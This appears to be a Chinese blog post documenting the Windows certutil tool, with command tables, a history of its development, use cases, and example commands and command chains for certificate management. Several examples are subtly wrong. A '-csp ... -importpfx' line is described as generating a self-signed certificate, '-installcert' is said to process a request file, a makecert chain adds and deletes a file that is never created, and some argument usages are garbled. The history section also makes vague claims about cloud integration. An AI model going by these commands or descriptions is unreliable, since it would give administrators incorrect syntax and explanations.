| CertUtil -resubmit | 重新提交挂起的申请 | 场景:重新提交被挂起的证书申请。 示例:CertUtil -resubmit 1234 重新提交编号为 1234 的证书申请。 |
| CertUtil -setattributes | 为挂起申请设置属性 | 场景:为待处理的证书申请设置属性。 示例:CertUtil -setattributes 1234 -attrib "Subject=example" 为申请设置属性。 |
| CertUtil -setextension | 为挂起申请设置扩展 | 场景:为待处理的证书申请添加扩展。 示例:CertUtil -setextension 1234 -ext "KeyUsage=DigitalSignature"。 |
| CertUtil -revoke | 吊销证书 | 场景:撤销不再使用的证书。 示例:CertUtil -revoke mycert.cer 撤销名为 mycert.cer 的证书。 |
| CertUtil -isvalid | 显示当前证书部署 | 场景:检查证书是否有效并已正确部署。 示例:CertUtil -isvalid mycert.cer 检查证书有效性。 |
| CertUtil -getconfig | 获取默认配置字符串 | 场景:获取证书服务的当前配置。 示例:CertUtil -getconfig 获取当前配置的详细信息。 |
| CertUtil -ping | Ping Active Directory 证书服务申请接口 | 场景:检查与证书服务的连接状态。 示例:CertUtil -ping 测试连接证书服务的状态。 |
| CertUtil -pingadmin | Ping Active Directory 证书服务管理接口 | 场景:检查与证书服务管理接口的连接状态。 示例:CertUtil -pingadmin 测试连接证书服务管理接口的状态。 |
| CertUtil -CAInfo | 显示 CA 信息 | 场景:查看证书颁发机构 (CA) 的详细信息。 示例:CertUtil -CAInfo 查看 CA 信息。 |
| CertUtil -ca.cert | 检索 CA 的证书 | 场景:获取 CA 的证书用于验证和信任。 示例:CertUtil -ca.cert 获取证书颁发机构的证书。 |
| CertUtil -ca.chain | 检索 CA 的证书链 | 场景:查看证书颁发机构的证书链。 示例:CertUtil -ca.chain 获取 CA 的证书链。 |
| CertUtil -GetCRL | 获取 CRL | 场景:获取证书吊销列表 (CRL)。 示例:CertUtil -GetCRL 下载最新的 CRL 文件。 |
| CertUtil -CRL | 发布新的 CRL [或仅增量 CRL] | 场景:发布新的证书吊销列表。 示例:CertUtil -CRL 发布新的证书吊销列表。 |
| CertUtil -shutdown | 关闭 Active Directory 证书服务 | 场景:停止证书服务以进行维护。 示例:CertUtil -shutdown 关闭 Active Directory 证书服务。 |
| CertUtil -installCert | 安装证书颁发机构证书 | 场景:将证书颁发机构证书添加到受信任根证书存储。 示例:CertUtil -installCert ca_cert.pem 安装 CA 证书。 |
| CertUtil -renewCert | 续订证书颁发机构证书 | 场景:续订 CA 的证书以避免过期。 示例:CertUtil -renewCert 续订证书。 |
| CertUtil -schema | 转储证书架构 | 场景:查看证书架构的详细信息。 示例:CertUtil -schema 显示证书架构信息。 |
| CertUtil -view | 转储证书视图 | 场景:查看证书的详细视图。 示例:CertUtil -view mycert.cer 转储证书的视图信息。 |
| CertUtil -db | 转储原始数据库 | 场景:查看证书存储的原始数据库内容。 示例:CertUtil -db 转储数据库内容。 |
| CertUtil -deleterow | 删除服务器数据库行 | 场景:从证书存储中删除特定行。 示例:CertUtil -deleterow 1234 删除行编号为 1234 的数据。 |
| CertUtil -backup | 备份 Active Directory 证书服务 | 场景:备份证书服务数据库以防丢失。 示例:CertUtil -backup backup_file.bak 备份证书数据库。 |
| CertUtil -backupDB | 备份 Active Directory 证书服务数据库 | 场景:备份证书服务数据库。 示例:CertUtil -backupDB db_backup.bak 备份证书数据库。 |
| CertUtil -restore | 还原 Active Directory 证书服务 | 场景:恢复证书服务配置和数据。 示例:CertUtil -restore restore_file.bak 恢复证书服务。 |
| CertUtil -restoreDB | 还原 Active Directory 证书服务数据库 | 场景:恢复证书服务数据库。 示例:CertUtil -restoreDB db_restore.bak 恢复证书数据库。 |
| CertUtil -importPFX | 导入证书和私钥 | 场景:导入包含证书和私钥的 PFX 文件。 示例:CertUtil -importPFX mycert.pfx 导入 PFX 文件中的证书和私钥。 |
| 类别 | 命令 | 描述 |
|---|---|---|
| 证书配置与信息 | CertUtil -dump | 转储配置信息或文件 |
| CertUtil -dumpPFX | 转储 PFX 结构 | |
| CertUtil -asn | 分析 ASN.1 文件 | |
| CertUtil -getconfig | 获取默认配置字符串 | |
| CertUtil -ping | Ping Active Directory 证书服务申请接口 | |
| CertUtil -pingadmin | Ping Active Directory 证书服务管理接口 | |
| CertUtil -CAInfo | 显示 CA 信息 | |
| CertUtil -ca.cert | 检索 CA 的证书 | |
| CertUtil -ca.chain | 检索 CA 的证书链 | |
| CertUtil -GetCRL | 获取 CRL | |
| CertUtil -CRL | 发布新的 CRL 或增量 CRL | |
| CertUtil -schema | 转储证书架构 | |
| CertUtil -view | 转储证书视图 | |
| CertUtil -db | 转储原始数据库 | |
| 证书操作 | CertUtil -revoke | 吊销证书 |
| CertUtil -installCert | 安装证书颁发机构证书 | |
| CertUtil -renewCert | 续订证书颁发机构证书 | |
| CertUtil -store | 转储证书存储 | |
| CertUtil -enumstore | 枚举证书存储 | |
| CertUtil -addstore | 将证书添加到存储 | |
| CertUtil -delstore | 从存储删除证书 | |
| CertUtil -verifystore | 验证存储中的证书 | |
| 证书备份与恢复 | CertUtil -backup | 备份 Active Directory 证书服务 |
| CertUtil -backupDB | 备份 Active Directory 证书服务数据库 | |
| CertUtil -backupKey | 备份 Active Directory 证书服务证书和私钥 | |
| CertUtil -restore | 还原 Active Directory 证书服务 | |
| CertUtil -restoreDB | 还原 Active Directory 证书服务数据库 | |
| CertUtil -restoreKey | 还原 Active Directory 证书服务证书和私钥 | |
| 证书与存储操作 | CertUtil -addEccCurve | 添加 ECC 曲线 |
| CertUtil -deleteEccCurve | 删除 ECC 曲线 | |
| CertUtil -displayEccCurve | 显示 ECC 曲线 | |
| 证书验证与管理 | CertUtil -verifykeys | 验证公/私钥集 |
| CertUtil -verify | 验证证书,CRL 或链 | |
| CertUtil -syncWithWU | 与 Windows 更新同步 | |
| 证书模板与策略 | CertUtil -ADTemplate | 显示 AD 模板 |
| CertUtil -Template | 显示注册策略模板 | |
| CertUtil -TemplateCAs | 显示模板的 CA | |
| CertUtil -SetCASites | 管理 CA 的站点名称 | |
| 证书服务器与注册 | CertUtil -addEnrollmentServer | 添加注册服务器应用程序 |
| CertUtil -deleteEnrollmentServer | 删除注册服务器应用程序 | |
| CertUtil -addPolicyServer | 添加策略服务器应用程序 | |
| CertUtil -deletePolicyServer | 删除策略服务器应用程序 | |
| 证书存档与密钥管理 | CertUtil -ImportKMS | 为密钥存档导入用户密钥和证书到服务器数据库 |
| CertUtil -ImportCert | 将证书文件导入数据库 | |
| CertUtil -GetKey | 检索存档的私钥恢复 Blob,生成恢复脚本 | |
| CertUtil -RecoverKey | 恢复存档的私钥 | |
| CertUtil -MergePFX | 合并 PFX 文件 | |
| CertUtil -ConvertEPF | 将 PFX 文件转换为 EPF 文件 | |
| 证书发布与管理 | CertUtil -dsPublish | 将证书或 CRL 发布到 Active Directory |
| CertUtil -verifyCTL | 验证 AuthRoot 或不允许的证书 CTL | |
| 其他工具与功能 | CertUtil -flushCache | 刷新选定进程中的指定缓存 |
| CertUtil -error | 显示错误代码消息文本 | |
| CertUtil -getreg | 显示注册表值 | |
| CertUtil -setreg | 设置注册表值 | |
| CertUtil -delreg | 删除注册表值 | |
| 智能卡与身份验证 | CertUtil -SCInfo | 显示智能卡信息 |
| CertUtil -SCRoots | 管理智能卡根证书 | |
| CertUtil -DeleteHelloContainer | 删除 Hello 登录容器,用户需要注销完成 |
Windows 中的 certutil 命令是一个用于证书操作和证书服务的命令行工具。它提供了许多与证书和证书服务相关的功能,包括管理证书、证书链、证书存储以及执行各种加密、解密和签名操作等。
主要用途包括:
-
证书管理:
certutil可以用来查看、导出、导入、删除证书,以及设置证书属性等。这对于管理系统中的数字证书非常有用,例如安全通信、身份认证等方面。 -
证书链管理: 它可以用来验证证书链,并执行与证书链相关的操作,如验证服务器证书的有效性、构建证书链等。
-
证书存储管理:
certutil可以管理本地计算机和当前用户的证书存储,包括查看、导出、导入证书存储等操作。 -
加密和解密操作: 它可以执行加密和解密操作,包括对文件、数据进行加密和解密,以及对加密密钥进行管理。
-
签名操作:
certutil可以对文件进行签名和验证签名,以确保文件的完整性和可信性。 -
PKI(公钥基础设施)服务管理: 在部署 PKI 服务时,
certutil可以用于管理证书颁发机构(CA)、证书吊销列表(CRL)、证书请求(CSR)等操作。
certutil 是一个强大的证书管理工具,用于在 Windows 系统中执行各种与证书和加密相关的操作,包括证书管理、加密解密、签名验证等。
Windows 中的 certutil 命令起源于微软的 Certificate Services(证书服务),该服务最早出现在 Windows 2000 Server 中。Certificate Services 是用于在 Windows 平台上构建和管理公钥基础设施(PKI)的一组工具和服务。PKI 是一种基于公钥加密的体系结构,用于实现安全通信、身份认证等功能。
certutil 命令作为 Certificate Services 的一部分,最初设计用于执行与证书和加密相关的各种操作,如证书管理、加密解密、签名验证等。随着 Windows 平台的发展,certutil 命令逐渐成为 Windows 系统中重要的证书管理工具之一,广泛应用于各种与安全相关的场景中。
随着操作系统版本的更新和功能的扩展,certutil 命令也不断发展和完善,提供了更多功能和选项,以满足不断增长的安全需求。它已经成为 Windows 平台上管理证书和执行加密操作的标准工具之一,被广泛用于企业网络、服务器环境以及个人电脑中。
Windows 的 certutil 命令在其发展过程中经历了多个阶段,主要包括以下几个阶段:
-
Windows 2000 Server:
certutil命令最初作为 Windows 2000 Server 中 Certificate Services 的一部分引入。在这个阶段,它主要用于执行基本的证书管理操作,如查看、导出、导入证书等。 -
Windows Server 2003: 在 Windows Server 2003 中,
certutil命令得到了进一步扩展和增强,以支持更多的证书操作和功能。这包括对证书链的更好支持、对证书存储的更多管理选项以及对加密、解密操作的增强等。 -
Windows Vista/Server 2008: 随着 Windows Vista 和 Windows Server 2008 的推出,
certutil命令进一步改进,以适应新的安全特性和需求。这包括对 PKI 服务的改进、加密算法的更新以及对新证书格式的支持等。 -
Windows 7/Server 2008 R2: 在 Windows 7 和 Windows Server 2008 R2 中,
certutil命令继续得到改进和优化,以提供更好的性能和功能。这包括对证书管理和加密操作的更多选项、更好的错误处理机制以及对新标准的支持等。 -
Windows 8/Server 2012: 随着 Windows 8 和 Windows Server 2012 的推出,
certutil命令进一步完善,并引入了一些新功能和特性。这包括对现代密码学算法的支持、对智能卡和硬件安全模块的更好集成以及对新的证书格式和标准的支持等。 -
Windows 10/Server 2016 及更新版本: 在 Windows 10 和 Windows Server 2016 及其更新版本中,
certutil命令继续跟随操作系统的发展,提供对最新安全特性和标准的支持,以及更多的性能优化和改进。
-
Windows Server 2019/Windows 11: 随着 Windows Server 2019 和 Windows 11 的推出,
certutil命令继续在安全性、性能和功能方面进行改进和优化。这包括对证书管理、PKI 环境和加密操作的进一步增强,以满足企业和个人用户在安全领域不断增长的需求。 -
云服务整合: 随着云计算和混合云环境的普及,
certutil命令也开始与云服务进行集成,以便更好地管理在云平台上部署的证书和密钥。这包括与 Azure Active Directory 和其他云服务提供商的身份验证和密钥管理服务集成,以便统一管理企业的身份验证和访问控制。 -
自动化和脚本化: 随着自动化和脚本化在 IT 管理中的重要性日益增强,
certutil命令也提供了更多的命令行选项和参数,以便于脚本编写和批量操作。这使得管理员可以通过脚本自动化证书管理、密钥生成和更新等任务,提高效率并减少人为错误。 -
安全性和合规性: 随着安全性和合规性要求的不断提高,
certutil命令也致力于提供更严格的安全性控制和合规性支持。这包括对证书颁发机构(CA)的认证和审核、对证书存储和传输的加密保护、对密钥管理和访问控制的强化等,以确保证书和密钥的安全性和完整性。
Windows 的 certutil 命令在其发展过程中不断演进和完善,以满足不断变化的安全需求和技术标准,并与现代 IT 环境和云服务相整合,为用户提供可靠的证书管理和加密解决方案。
Windows 的 certutil 命令是一个强大的证书管理工具,可以用于各种应用场景,包括但不限于:
-
证书管理:
certutil可以用于查看、导入、导出、删除证书等基本的证书管理操作。这对于管理系统证书、客户端证书以及在 PKI(Public Key Infrastructure,公钥基础设施)环境中的证书是非常有用的。 -
证书链验证: 通过
certutil命令,可以验证证书链的有效性,确保证书链中的每个证书都是受信任的,并且链中的每个证书都可以验证前一个证书的有效性。这对于确保安全的 TLS/SSL 连接非常重要。 -
证书请求生成和签名:
certutil可以生成证书请求(Certificate Signing Request,CSR)并将其发送到证书颁发机构(CA)进行签名,以获取服务器证书或客户端证书。这在建立安全连接时是必不可少的。 -
证书复制和分发: 在企业环境中,可能需要将证书从一个系统复制到另一个系统,或者将证书分发给多个系统。
certutil可以用于在不同系统之间复制和分发证书。 -
密钥管理: 除了证书管理外,
certutil还可以用于生成、导入、导出和删除密钥对,以及对密钥进行加密和解密操作。这对于安全地存储和传输数据非常重要。 -
智能卡管理: 对于使用智能卡进行身份验证的系统,
certutil可以用于管理智能卡上的证书和密钥,并与智能卡进行交互。 -
PKI 管理: 在建立和维护 PKI 环境时,
certutil可以用于管理证书颁发机构(CA)、证书撤销列表(CRL)、证书存储和相关配置等。 -
脚本自动化: 由于
certutil支持命令行操作,因此可以通过脚本自动化证书管理和密钥操作,以提高效率并减少人为错误。
certutil 命令在 Windows 系统中扮演着重要的角色,为安全连接和数据保护提供了必要的工具和功能。
Windows 的 certutil 命令还可以用于一些更高级的应用场景,包括:
-
证书链验证和故障排除: 通过
certutil命令,可以执行深入的证书链验证和故障排除。这包括验证证书链中的每个证书是否有效,检查证书是否过期或被吊销,以及识别导致证书验证失败的原因。 -
证书转换和格式转换: 在不同的证书格式之间进行转换是常见的需求,例如将 PEM 格式的证书转换为 DER 格式,或者将 PFX 格式的证书转换为 PEM 格式。
certutil可以用于执行这些转换操作,以满足不同系统和应用程序的需求。 -
证书和密钥导出: 有时需要将证书和私钥导出到外部存储介质(如 USB 驱动器)或另一台计算机上,以备份或迁移目的。
certutil可以用于安全地导出证书和私钥,并对其进行加密保护。 -
证书和密钥备份和恢复: 对于关键的证书和密钥,定期备份是非常重要的。
certutil可以用于执行证书和密钥的备份,并在需要时进行恢复,以确保系统的连续性和数据的完整性。 -
证书颁发机构(CA)管理: 如果您在组织内部运行自己的证书颁发机构(CA),则可以使用
certutil来管理 CA 的证书和密钥,包括生成新的根证书、签名证书请求、撤销证书等操作。 -
证书验证策略配置: 通过
certutil命令,可以配置和管理证书验证策略,包括定义受信任的根证书颁发机构(CA)、设置证书吊销检查选项、指定证书链验证策略等。 -
证书和密钥的硬件保护: 如果系统支持硬件安全模块(HSM)或智能卡,
certutil可以与这些硬件设备进行集成,以提供额外的安全性保护,并确保私钥的安全存储和使用。
certutil 命令提供了丰富的功能和选项,可以满足各种复杂的证书管理和密钥操作需求,帮助用户确保系统的安全性和连续性。
Windows 11环境版本
|
certutil /? 动词: -decodehex -- 解码十六进制编码的文件 -deny -- 拒绝挂起的申请 -getconfig -- 获取默认配置字符串 -installCert -- 安装证书颁发机构证书 -schema -- 转储证书架构 -backup -- 备份 Active Directory 证书服务 -store -- 转储证书存储 -dsPublish -- 将证书或 CRL 发布到 Active Directory -ADTemplate -- 显示 AD 模板 -SCRoots -- 管理智能卡根证书 -DeleteHelloContainer -- 删除 Hello 登录容器。 -vroot -- 创建/删除 Web 虚拟根和文件共享 -ImportKMS -- 为密钥存档导入用户密钥和证书到服务器数据库 -add-chain -- (-AddChain) 添加证书链
CertUtil: -? 命令成功完成。 |
Windows server 2022
|
当结合不同的参数和用法时,CertUtil 命令可以用于各种不同级别的应用。以下是初级、中级和高级应用实例:
初级应用实例:
-
查看证书信息:
- 命令:
certutil -store My - 简要说明:使用 CertUtil 命令查看当前用户个人存储区(My)中安装的证书信息。
- 命令:
-
导出证书:
- 命令:
certutil -exportPFX -p "password" "certificateName" "exportedCert.pfx" - 简要说明:将指定名称的证书导出为 PFX 文件,可与私钥一起导出。
- 命令:
中级应用实例:
-
验证证书链:
- 命令:
certutil -verify -urlfetch "certificate.cer" - 简要说明:对指定的证书文件执行验证操作,包括链验证和 URL 检索。
- 命令:
-
安装证书:
- 命令:
certutil -addstore "root" "certificate.cer" - 简要说明:将指定的根证书安装到计算机的根证书存储区。
- 命令:
高级应用实例:
-
生成自签名证书:
- 命令:
certutil -csp "Microsoft Enhanced Cryptographic Provider v1.0" -importpfx "SelfSignedCert.pfx" - 简要说明:使用指定的密码提供程序生成自签名证书,并将其导入到存储区。
- 命令:
-
执行证书请求和颁发:
- 命令:
certutil -installcert "requestFile.req" - 简要说明:执行从证书颁发机构获得的证书请求文件,并将颁发的证书安装到存储区。
- 命令:
以上是 CertUtil 命令在初级、中级和高级应用中的示例。根据具体需求,你可以进一步探索 CertUtil 的更多功能和用法。
当 CertUtil 命令与其他命令组合使用时,可以实现不同级别的功能。以下是初级、中级和高级应用示例:
初级应用实例:
- 证书导出后清理:
- 命令组合:
certutil -exportPFX -p "password" "certificateName" "exportedCert.pfx" && del "certificateName" - 简要说明:将指定名称的证书导出为 PFX 文件后,使用 del 命令删除原始证书文件。
- 命令组合:
中级应用实例:
-
生成自签名证书并导入:
- 命令组合:
makecert -r -pe -n "CN=SelfSignedCert" -ss MY && certutil -addstore "MY" "SelfSignedCert" && del "SelfSignedCert" - 简要说明:结合 makecert 命令生成自签名证书并导入到个人存储区,然后使用 del 命令删除原始证书文件。
- 命令组合:
-
验证证书链并输出到文件:
- 命令组合:
certutil -verify -urlfetch "certificate.cer" > verificationResult.txt - 简要说明:对指定的证书执行验证操作,并将验证结果输出到文本文件。
- 命令组合:
高级应用实例:
-
生成 CSR 并提交到 CA:
- 命令组合:
certreq -new request.inf certrequest.req && certutil -submit -attrib "CertificateTemplate:WebServer" certrequest.req - 简要说明:使用 certreq 命令生成证书请求,并将生成的请求提交给证书颁发机构进行签发。
- 命令组合:
-
导入由 CA 签发的证书:
- 命令组合:
certreq -accept -q "CA-signedCertificate.cer" - 简要说明:接受并导入由证书颁发机构签发的证书请求文件。
- 命令组合:
以上是 CertUtil 命令与其他命令组合使用的初级、中级和高级应用实例。根据具体需求和环境,你可以进一步探索更多命令组合方式以实现不同的功能。

浙公网安备 33010602011771号